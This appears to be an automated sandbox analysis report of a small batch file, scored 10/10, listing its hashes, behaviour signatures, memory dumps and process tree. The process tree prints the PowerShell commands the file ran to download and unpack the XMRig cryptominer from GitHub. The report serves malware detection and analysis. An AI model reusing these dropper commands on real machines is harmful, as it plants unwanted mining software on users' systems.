04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 10:03

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General

Target

tesy - Copy (2).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1708	powershell.exe
4	1708	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1708	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 1708	1964	cmd.exe	29
PID 1964 wrote to memory of 1708	1964	cmd.exe	29
PID 1964 wrote to memory of 1708	1964	cmd.exe	29
PID 1964 wrote to memory of 2700	1964	cmd.exe	30
PID 1964 wrote to memory of 2700	1964	cmd.exe	30
PID 1964 wrote to memory of 2700	1964	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ed138daa1ceb280f8e0bfbf4484f47d3

SHA1
c4c5d109d95f0bc88e2ad3819c40a22213048b60

SHA256
bc79658de9913fa3b1155592ac0a5c777dbdc17a35f8f41c89c07c4b21ee13de

SHA512
489f75d3d3ae9f0bca03afb1656dac94cba7c7547d918b1320ec6f4a74d08a5d12b6b82822ca4c399fcb41e8bf1d72036259ed4bd84036070bc47833f754e769

Download Submit
memory/1708-12-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-5-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1708-7-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/1708-8-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-10-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/1708-9-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/1708-11-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/1708-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/1708-6-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-20-0x00000000024F0000-0x00000000024F8000-memory.dmp

Filesize
32KB

Download
memory/2700-18-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2700-19-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download
memory/2700-21-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/2700-22-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download
memory/2700-23-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/2700-24-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/2700-25-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/2700-26-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download